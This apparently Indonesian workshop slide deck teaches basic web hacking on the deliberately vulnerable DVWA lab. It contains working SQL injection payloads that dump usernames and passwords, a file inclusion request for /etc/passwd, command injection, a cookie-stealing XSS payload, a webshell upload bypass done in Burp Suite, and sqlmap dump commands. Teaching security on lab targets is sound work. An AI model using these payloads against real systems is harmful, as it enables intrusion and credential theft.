Anda di halaman 1dari 28

Basic Web Hacking &

Vulnerabilities
Ida Bagus Budanthara
Web Hacking

Serangkaian cara untuk mempelajari serta menemukan


celah keamanan yang ada pada suatu halaman website.
Dalam materi ini akan menggunakan platform DVWA
(Damn Vulnerable Web Application) untuk membantu
dalam mempelajari celah-celah keamanan yang sudah
disediakan.
TUJUAN

1. Mengenal jenis-jenis vulnerability pada suatu aplikasi


website.
2. Memahami dan dapat mengidentifikasi jenis serangan
yang dapat dilakukan.
3. Meningkatkan pemahaman akan bahayanya varian
vulnerability tertentu khususnya pada aplikasi website.
4. Mengasah kemampuan dalam bidang web penetration
testing.
5. Dan lain sebagainya.
TOPIK YANG DIBAHAS + CONTOH
PENYERANGAN

1. SQL Injection (SQLI)


2. Local File Inclusion (LFI)
3. Remote Command Execution (RCE)
4. Cross-Site Scripting (XSS)
5. Pengenalan Webshell (Backdoor) + Unrestricted File
Upload
PERSIAPAN

Instalasi DVWA
1. Install Docker
2. Lakukan perintah “docker pull vulnerables/web-
dvwa”
3. Jalankan image dengan perintah “docker run --rm -it
-p 80:80 vulnerables/web-dvwa”
4. Akses http://localhost/, install dan login dengan
“admin:password”
5. Ubah security menjadi “low” di
http://localhost/security.php
SQL INJECTION (BLACKBOX TEST GOALS)

MENCARI KOLOM YANG TIDAK DIHARAPKAN

(USERNAME & PASSWORD)


SQL INJECTION (MENGECEK VULNERABLE SQL)

Input tanda petik satu (‘) atau %27 pada form input.
Jika didapatkan error sql, kemungkinan aplikasi web
vulnerable terhadap SQL Injection.
SQL INJECTION (MENGECEK JUMLAH KOLOM)

ksl' ORDER BY 1 -- - => Error? No

ksl' ORDER BY 1,2 -- - => Error? No

ksl' ORDER BY 1,2,3 -- - => Error? Yes

Error didapatkan pada pengecekan kolom ke-3, maka


disimpulkan jumlah kolom yang diproses oleh query untuk
ditampilkan ada 2 buah.
SQL INJECTION (MENGECEK NAMA DATABASE &
VERSINYA)

Diketahui bahwa jumlah kolom ada 2 buah. Berikut payload


untuk mengecek database & versinya.

ksl’ UNION SELECT @@version,database() -- -

Didapatkan nama database adalah ‘dvwa’.


SQL INJECTION (MENGECEK NAMA TABEL YANG
TERSEDIA)

ksl’ UNION SELECT NULL,table_name FROM


information_schema.tables WHERE
table_schema=database() -- -

atau

ksl’ UNION SELECT NULL,table_name FROM


information_schema.tables WHERE
table_schema=’dvwa’ -- -

Didapatkan tabel: guestbook, *users.

*tabel yang akan ditelusuri lebih lanjut.


SQL INJECTION (MENGECEK NAMA KOLOM YANG
TERSEDIA)

ksl’ UNION SELECT NULL,column_name FROM


information_schema.columns WHERE
table_schema=database() AND table_name=’users’ --
-

Ditemukan kolom: user_id, first_name, last_name, *user,


*password, avatar, last_login, failed_login.

*kolom yang akan ditelusuri lebih lanjut.


SQL INJECTION (MENGECEK RECORD DALAM KOLOM)

ksl’ UNION SELECT user,password FROM users -- -

atau

ksl’ UNION SELECT


NULL,group_concat(user,0xa,password) FROM users -- -
LOCAL FILE INCLUSION (WHITEBOX TEST
GOALS)

MENGEKSPLORASI DAN MEMBUKA FILE YANG TIDAK


DIHARAPKAN
LOCAL FILE INCLUSION
---------- snip ----------

$file = $_GET[ 'page' ];

include($file); // akan memproses dan menampilkan


apapun isi dari $file.

---------- snip ----------

Payload: http://localhost/vulnerabilities/fi/?page=/etc/passwd
REMOTE CODE EXECUTION (WHITEBOX
TEST GOALS)

MENGEKSEKUSI PERINTAH YANG TIDAK DIHARAPKAN


REMOTE CODE EXECUTION
---------- snip ----------

$target = $_REQUEST[ 'ip' ];

$cmd = shell_exec( 'ping -c 4 ' . $target ); // akan


memproses apapun masukan dari $target dan
mengeksekusi perintah pada shell.

---------- snip ----------

Payload: <ip><delimiter><perintah>

Contoh: 127.0.0.1; ls -al


XSS (WHITEBOX TEST GOALS)

MENGINPUT KARAKTER YANG TIDAK DIHARAPKAN


XSS
---------- snip ----------

echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; //


parameter tidak difilter untuk mematikan karakter spesial
seperti tag html.

---------- snip ----------

Payload: <script>alert(‘KSL!!! ‘ + document.cookie)</script>

Referensi berbagai macam bypass: http://s.id/1fnq


Mengenal WebShell (Backdoor)

WebShell atau biasa disebut ‘shell’ atau ‘backdoor’ adalah


sebuah program remote yang berfungsi sebagai jalan
masuk kembali seorang hacker kesuatu aplikasi website
yang sudah berhasil ditembus sebelumnya. WebShell
umumnya dapat dipakai untuk mengkontrol seisi file (file-
manager) yang ada pada suatu website.
Unrestricted File Upload
(Persiapan)
1. Ubah settingan difficulty DVWA dari low ke medium.
2. Download B374K WebShell http://s.id/hBc
3. Download Burp Suite http://s.id/1fo6
4. Ubah konfigurasi proxy di browser dengan konfigurasi
seperti berikut:
1) HTTP Proxy : 127.0.01
2) Port : 8080
Unrestricted File Upload

DEMO
Unrestricted File Upload (Note
Demo)
1. Buka Burp Suite
2. Akses Tab Proxy -> Tab Intercept
3. Aktifkan intercept menjadi on
4. Ubah nama file backdoor dengan merubah
ekstensi “.php” menjadi “.jpg/.png”
5. Upload file backdoor dengan nama yang
sudah diubah
6. Pada bagian Content-Disposition tepatnya
pada filename, ubah ekstensi seperti
semula menjadi “.php”
7. Klik forward
8. Matikan intercept
9. Selesai
Simple Web Hacking Mission
http://103.200.7.150:8002

Misi: Temukan vulnerability,


lakukan hacking dan ubah isi dari
file hackme.html

Note: Dilarang menggunakan


automatic hacking tools seperti
SQLMap, DirBuster, dll.
Automatic SQL Injection dengan
SQLMap

Download: git clone --depth 1


https://github.com/sqlmapproj
ect/sqlmap.git sqlmap-dev
Automatic SQL Injection dengan
SQLMap

DEMO
Automatic SQL Injection dengan
SQLMap (Note Demo)
1. Cari database: python sqlmap.py -u
http://url.com/?parameter=value --dbs
2. Cari table: python sqlmap.py -u
http://url.com/?parameter=value -D
db_name --tables
3. Cari kolom: python sqlmap.py -u
http://url.com/?parameter=value -D
db_name -T table_name --columns
4. Cari record: python sqlmap.py -u
http://url.com/?parameter=value -D
db_name -T table_name -C column_name
--dump
Q&A

Q & A?
Referensi lainnya

http://securityidiots.com/Web-Pentest/

https://github.com/swisskyrepo/PayloadsAllTheThings/tre
e/master/File%20Inclusion%20-%20Path%20Traversal
https://gist.github.com/JohannesHoppe/5612274